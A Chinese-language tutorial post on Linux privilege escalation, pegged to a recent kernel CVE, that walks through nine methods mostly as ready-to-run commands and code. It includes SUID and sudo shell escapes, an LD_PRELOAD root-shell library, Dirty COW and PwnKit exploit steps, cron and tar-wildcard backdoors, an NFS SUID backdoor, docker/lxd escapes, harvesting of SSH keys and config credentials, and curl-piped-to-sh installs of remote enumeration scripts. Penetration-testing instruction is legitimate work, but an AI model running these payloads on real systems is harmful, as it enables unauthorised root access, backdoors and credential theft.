"Copy Fail"漏洞(CVE-2026-31431)持续发酵,影响之大前所未有。我看几乎所有安全媒体都已经发声了,CVSS评分直线上升!"Copy Fail"漏洞本质就是linux系统的一个提权漏洞,前面我已经有文章我已经讲过一些提权方面的基本概念及技能,今天我就展开一下,全面深入的讲讲Linux提权方面九大经典方法与实战详解,欢迎各位大佬点赞、关注、转发!
提权不是盲目的,先搜集情报。拿到shell后,第一件事是摸清系统底细。
# 查看当前用户身份whoami&&id# 查看系统版本和内核uname-acat /etc/issuecat /etc/*release# 查看当前用户sudo权限sudo-l# 查看可用的-shellcat /etc/shellsSUID是提权的黄金入口。查找所有SUID文件:
find / -typef-perm-40002>/dev/nullfind / -typef-perm-u=s2>/dev/null常见的高危SUID二进制包括:
🔹 find - 可执行任意命令
🔹 vim/nano - 可读写任意文件
🔹 nmap - 可弹出交互shell
🔹 bash/sh - 可获取shell
🔹 python/perl/ruby - 可执行系统命令
🔹 cp/mv/less/more - 可覆盖或读取敏感文件
cat /etc/crontabls-la /etc/cron.d/ls-la /etc/cron.daily/ls-la /etc/cron.hourly/cat /var/spool/cron/crontabs/*手动收集慢?交给自动化工具:
# LinPEAS - 最全面的Linux枚举脚本curl-Lhttps://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh|sh# linux-exploit-suggester - 内核漏洞探测curl-shttps://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh|bash提示:linpeas会用颜色高亮可疑项,绿色=可能提权,黄色=需要进一步检查,红色=高概率成功。
SUID(Set User ID)是一种特殊权限位。当文件设置了SUID位时,无论谁执行该文件,进程都会以文件所有者的身份运行。
# 查看SUID权限ls-la /usr/bin/passwd# -rwsr-xr-x 1 root root 快速解锁密码GTFOBins是最权威的SUID/Sudo利用指南。记住这个网站,关键时刻能救命。
假设通过find / -perm -4000发现find命令有SUID位:
# 方法1:exec执行shellfind . -exec /bin/sh-p \; -quit# 方法2:配合/bin/bashfind / -name"*.txt"-exec /bin/bash-p \; -quit为什么能提权?因为find的-exec参数可以执行任意命令,而SUID使进程以root身份运行。
| |
|---|
| |
| less /etc/passwd → !/bin/sh |
| more /etc/passwd → !/bin/sh |
| |
| python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
| perl -e 'exec "/bin/sh";' |
| |
| awk 'BEGIN {system("/bin/sh")}' |
| tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
| cp /bin/bash /tmp/bash; chmod +s /tmp/bash |
典型输出:
Userwww-datamayrunthefollowingcommands: (root) NOPASSWD: /usr/bin/vim (ALL) NOPASSWD: /usr/bin/find如果sudoers配置了env_keep += LD_PRELOAD,可以利用:
// evil.c#include <stdio.h>#include <stdlib.h>#include <unistd.h>void_init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash -p");}gcc-fPIC-shared-nostartfiles-o /tmp/evil.so /tmp/evil.csudoLD_PRELOAD=/tmp/evil.soapache2 | |
|---|
| |
| sudo find . -exec /bin/sh \; -quit |
| |
| awk 'BEGIN {system("/bin/sh")}' |
| python -c 'import os; os.system("/bin/bash")' |
| perl -e 'exec "/bin/bash";' |
| |
四、Capabilities提权:现代Linux的提权新思路 Linux Capabilities是细粒度的权限机制,将root的特权分成多个小权限。查看当前进程:
🔹 cap_setuid - 可设置任意UID
🔹 cap_setgid - 可设置任意GID
🔹 cap_dac_override - 可绕过文件权限检查
🔹 cap_dac_read_search - 可读取任意文件
4.3 实战案例:python cap_setuid提权 # 发现python有cap_setuidgetcap-r / 2>/dev/null|greppython# python3 = cap_setuid+ep# 利用python提权python3-c'import os; os.setuid(0); os.system("/bin/bash")'Linux内核漏洞提权历史悠久,其中最著名的两个是Dirty COW和Dirty Pipe。
5.1 Dirty COW (CVE-2016-5195) - 脏牛漏洞 Dirty COW是Linux内核中的一个竞态条件漏洞,存在于copy-on-write(COW,写时复制)机制中。
COW是什么?
当进程对只读文件创建MAP_PRIVATE映射并尝试写入时,内核会创建一个私有副本。但Dirty COW发现,在多线程环境下,可以通过madvise()系统调用人为制造竞态条件,使得对只读文件的写入"穿透"COW保护,直接写入原始文件。
技术细节:
1. 攻击线程A通过write()触发缺页中断,尝试写入只读映射
2. 攻击线程B通过madvise(MADV_DONTNEED)释放私有页面
3. 内核在COW机制切换时未能正确检查页面的只读属性
4. 最终写入操作成功修改了原始只读文件
🔹 内核版本:2.6.22 至 4.8.3(2007年-2016年)
🔹 影响系统:所有Linux发行版,包括Android
🔹 CVSS评分:7.8(高危)
# 检查内核版本uname-r# 如果是 3.x - 4.8.x,可能受影响# 方法1:使用现成exploitsearchsploitdirtycowsearchsploit-m40616gcc-pthreaddirtyc0w.c-odirtyc0w./dirtyc0w /etc/passwd"root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash"# 方法2:写入SUID后门echo'root:!locked:0:0:root:/root:/bin/bash'> /tmp/passwd./dirtyc0w /etc/passwd"$(cat /tmp/passwd)"1. 存在时间长:漏洞潜伏了9年(2007-2016)
2. 影响面广:所有基于Linux内核的系统和设备
3. 利用简单:本地即可利用,不留日志痕迹
4. 可武器化:可远程通过其他漏洞组合实现RCE→提权
5.2 Dirty Pipe (CVE-2022-0847) - 脏管道漏洞 Dirty Pipe是Linux 5.8引入的一个漏洞,与pipe(管道)缓冲区的处理有关。
关键点:当向pipe写入数据时,如果使用了O_APPEND标志但pipe缓冲区flags未正确初始化,可能导致数据被写入只读文件的任意位置。
技术细节:
1. 创建pipe,填满环形缓冲区
2. 通过splice()将只读文件内容导入pipe
3. 修改pipe buffer的flags(将"PIPE_BUF_FLAG_CAN_MERGE"位设置为可合并)
4. 向pipe写入数据,这些数据会"回流"到原始只读文件
🔹 内核版本:5.8 - 5.16.11(2020年-2022年)
🔹 修复版本:5.16.12+、5.15.25+、5.10.102+
5.3 PwnKit (CVE-2021-4034) - polkit本地提权 polkit(原名PolicyKit)是Linux系统中的权限管理组件。2022年1月发现polkit存在本地提权漏洞。
漏洞原理:polkit的pkexec程序存在缓冲区溢出,可通过环境变量注入代码。
利用条件:任意本地用户可利用
# 检查版本pkexec--version# 使用exploitwgethttps://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zipunzipmain.zip&&cdCVE-2021-4034-mainmake&& ./cve-2021-4034 5.4 Baron Samedit (CVE-2021-3156) - Sudo堆溢出 漏洞原理:Sudo命令行解析存在堆缓冲区溢出漏洞,通过反斜杠转义字符触发。
影响版本:Sudo 1.8.2 - 1.8.31p2,1.9.0 - 1.9.5p1
警告:内核exploit有崩溃风险!生产环境慎用!
# 1. 先确认内核版本和架构uname-rdpkg--print-architecture# 2. 使用exploit-suggester寻找合适的exploit./linux-exploit-suggester.sh# 3. 查看是否有已知内核exploitsearchsploit"Linux kernel $(uname -r)"# 查看cron配置cat /etc/crontabls-la /etc/cron.d/# 检查脚本是否可写ls-la /etc/cron.hourly/backup.sh假设发现/etc/cron.hourly/backup.sh全局可写:
# 添加反向shell或SUID后门echo'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'>> /etc/cron.hourly/backup.sh# 等待执行后获取root/tmp/rootbash-p假设Cron任务为:
* * * * * roottar-zcf /var/backups/backup.tgz /var/www/html/*攻击步骤:
cd /var/www/html# 创建将被执行的脚本echo'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'>shell.shchmod +xshell.sh# 创建Tar参数注入文件echo"">"--checkpoint-action=exec=sh shell.sh"echo"">"--checkpoint=1"# 等待cron执行当tar运行时,命令实际变成:
tar-zcfbackup.tgz--checkpoint=1--checkpoint-action=exec=shshell.shfile1file2... 七、NFS提权:no_root_squash的代价 cat /etc/exportsshowmount-e <target_ip>默认情况下,NFS会将远程root用户映射为nfsnobody(安全机制)。但no_root_squash选项禁用了这个映射,允许远程root以root身份访问文件。
# 假设发现 /mnt/share 配置了 no_root_squash# 在攻击者机器上mkdir /tmp/nfsmount-tnfs <victim_ip>:/mnt/share /tmp/nfscd /tmp/nfs# 创建SUID后门cp /bin/bash .chmod +sbash# 在受害者机器上cd /mnt/share./bash-p # 获得rootshell# Bash历史cat ~/.bash_historycat /root/.bash_history# 配置文件find /home-name"*.conf"-o-name"*.config"-o-name"*.cfg"2>/dev/nullfind /home-name".env"2>/dev/null# SSH密钥ls-la ~/.ssh/cat ~/.ssh/id_rsa# MySQLcat /etc/mysql/my.cnfcat /var/www/html/config.php# PostgreSQLcat /etc/postgresql/*/main/pg_hba.conf# 所有数据库配置文件find / -name"*.sql"-o-name"*connection*"2>/dev/null# 方法1:docker socketdockerrun-v /:/mnt-italpinechroot /mnt# 或dockerrun--rm-v /:/hostalpinechroot /hostsh# 检查是否可写ls-la /etc/passwd# 添加root用户echo'root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash'>> /etc/passwdsuroot2# 如果在lxd组lxcinitubuntu:18.04test-csecurity.privileged=truelxcconfigdeviceaddtestrootdisksource=/ path=/mntrecursive=truelxcstarttestlxcexectestsh# 在容器内 cat /mnt/etc/shadowLinux提权是一场系统性的情报战和信息战:
1. 信息搜集是基础 - 摸清系统底细才能找到正确的提权路径
2. SUID和Sudo最常见 - 80%的靶机都可以通过这两个路径解决
3. 内核漏洞是核武器 - Dirty COW/Dirty Pipe威力巨大,但慎用
4. GTFOBins是利器 - 遇到不熟悉的二进制,第一时间去查
5. 自动化工具提效 - LinPEAS能帮你发现肉眼容易遗漏的细节
真正的渗透测试,需要的是耐心、细心和对系统的深入理解。